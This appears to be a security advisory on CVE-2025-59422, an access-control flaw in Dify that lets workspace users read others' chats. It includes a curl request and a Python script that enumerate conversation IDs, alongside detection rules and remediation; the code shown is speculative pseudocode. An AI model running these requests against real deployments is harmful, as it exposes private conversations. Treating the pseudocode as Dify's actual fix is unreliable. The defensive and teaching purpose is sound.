CVE-2025-59422

Executive Summary

CVE-2025-59422 is a broken access control vulnerability in Dify, an open-source LLM app development platform, affecting version 1.8.1. The vulnerability resides in the /console/api/apps/<APP_ID>/chat-messages?conversation_id=<CONVERSATION_ID>&limit=10 endpoint. An authenticated user within the same workspace can enumerate or guess conversation_id values to read chat messages belonging to other users, including administrators. This leads to unauthorized disclosure of sensitive query data and filenames, compromising the confidentiality of all chat conversations within the workspace. The vulnerability has been patched in Dify version 1.9.0.

Supply Chain & Package Security

Dify is distributed as a Python/Docker application. The vulnerability is not in a dependency but in the application's own API authorization logic. Users should verify the integrity of their Dify installation and ensure they are running version 1.9.0 or later. No malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user in the workspace)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of chat messages)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the actual risk is elevated in multi-tenant or collaborative environments where sensitive data is shared via chat. An attacker with a low-privilege account can silently exfiltrate all chat history.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) / Broken Access Control flaw. The endpoint /console/api/apps/<APP_ID>/chat-messages is designed to retrieve chat messages for a given conversation. The application fails to verify that the requesting user is a participant in the conversation identified by conversation_id.

Attack Flow:

1. An attacker authenticates as a regular user in the Dify workspace.
2. The attacker obtains a valid APP_ID (e.g., by browsing the app list).
3. The attacker either guesses or enumerates conversation_id values. Conversation IDs are often UUIDs, but they may be sequential or predictable in some deployments.
4. The attacker sends a GET request to /console/api/apps/<APP_ID>/chat-messages?conversation_id=<TARGET_CONVERSATION_ID>&limit=10.
5. The server returns the chat messages for that conversation, including the query data and filenames, without checking ownership.

Impact: An attacker can read all chat messages from any user in the same workspace, including admin chats. This can leak sensitive business logic, user queries, API keys mentioned in chats, and file names.

Vulnerable vs. Patched Code

Vulnerable Code (v1.8.1): The endpoint likely lacks a user ownership check. A simplified pseudocode representation:

@app.route('/console/api/apps/<app_id>/chat-messages')
def get_chat_messages(app_id):
    conversation_id = request.args.get('conversation_id')
    # Missing: check if current_user is participant of conversation_id
    messages = db.query("SELECT * FROM messages WHERE conversation_id = ?", conversation_id)
    return jsonify(messages)

Patched Code (v1.9.0): The fix adds an authorization check to ensure the requesting user is a member of the conversation.

@app.route('/console/api/apps/<app_id>/chat-messages')
def get_chat_messages(app_id):
    conversation_id = request.args.get('conversation_id')
    # Authorization check
    conversation = db.query("SELECT * FROM conversations WHERE id = ?", conversation_id)
    if not conversation or current_user.id not in [conversation.user_id, conversation.admin_id]:
        return jsonify({"error": "Forbidden"}), 403
    messages = db.query("SELECT * FROM messages WHERE conversation_id = ?", conversation_id)
    return jsonify(messages)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account in the Dify workspace.
• Network access to the Dify console API.
• A valid APP_ID (can be obtained from the app list endpoint).

Exploitation Steps:

1. Obtain a valid session cookie by logging in as a regular user.
2. Enumerate conversation IDs (if predictable) or use a known ID from a previous interaction.
3. Send the exploit request using curl:

curl -X GET "https://dify-instance.example.com/console/api/apps/APP_ID/chat-messages?conversation_id=TARGET_CONVERSATION_ID&limit=10" \
  -H "Cookie: session=YOUR_SESSION_COOKIE"

4. Parse the response to extract chat messages, query data, and filenames.

Automated Exploit Script (Python):

import requests

target_url = "https://dify-instance.example.com"
app_id = "YOUR_APP_ID"
session_cookie = "YOUR_SESSION_COOKIE"
conversation_ids = ["id1", "id2", "id3"]  # Enumerated or guessed

for conv_id in conversation_ids:
    url = f"{target_url}/console/api/apps/{app_id}/chat-messages?conversation_id={conv_id}&limit=10"
    headers = {"Cookie": f"session={session_cookie}"}
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        print(f"Conversation {conv_id}: {response.text}")

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for repeated requests to /console/api/apps/*/chat-messages with different conversation_id values from the same user.
• Alert on 403 errors followed by successful 200 responses for the same endpoint (indicating enumeration attempts).
• Use the Sigma rule provided in the Detection Engineering section.

Hardening:

• Immediately upgrade to Dify v1.9.0 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with suspicious conversation_id patterns (e.g., sequential UUIDs).
• Restrict API access to trusted IP ranges.
• Enable audit logging for all chat message retrieval requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /console/api/apps/*/chat-messages with varying conversation_id parameters from a single user.
  • Unusual volume of API calls to the chat-messages endpoint from a low-privilege account.
• File IOCs:
  • Log entries showing access to conversations not owned by the requesting user.
• Behavioral IOCs:
  • A user account accessing chat messages for multiple conversations in a short time frame.

Detection Engineering

YARA Rule

rule detect_dify_idor_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-59422 in Dify logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59422"
    strings:
        $endpoint = "/console/api/apps/"
        $chat_messages = "chat-messages"
        $conversation_id = "conversation_id="
    condition:
        all of them
}

Sigma Rule

title: Dify Broken Access Control - Chat Message Enumeration
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to enumerate chat messages from other users in Dify
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/console/api/apps/'
        cs-uri-query|contains: 'chat-messages'
        cs-uri-query|contains: 'conversation_id='
    condition: selection
falsepositives:
    - Legitimate users accessing their own conversations
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59422 Dify Chat Message Enumeration Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/console/api/apps/"; content:"chat-messages"; content:"conversation_id="; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Dify to version 1.9.0 or later. This is the only complete fix.
2. Restrict API access to the console endpoint using network policies or a WAF.
3. Invalidate all existing sessions after the upgrade to force re-authentication.

Long-Term Measures:

• Implement proper access control reviews in the CI/CD pipeline.
• Use static analysis tools to detect IDOR vulnerabilities.
• Conduct regular penetration testing on API endpoints.
• Monitor for unusual API access patterns.

Workaround (if upgrade is not possible):

• Manually patch the authorization logic in the source code (as shown in the patched code section).
• Deploy a reverse proxy to add an authorization layer that validates conversation ownership.

Valters IT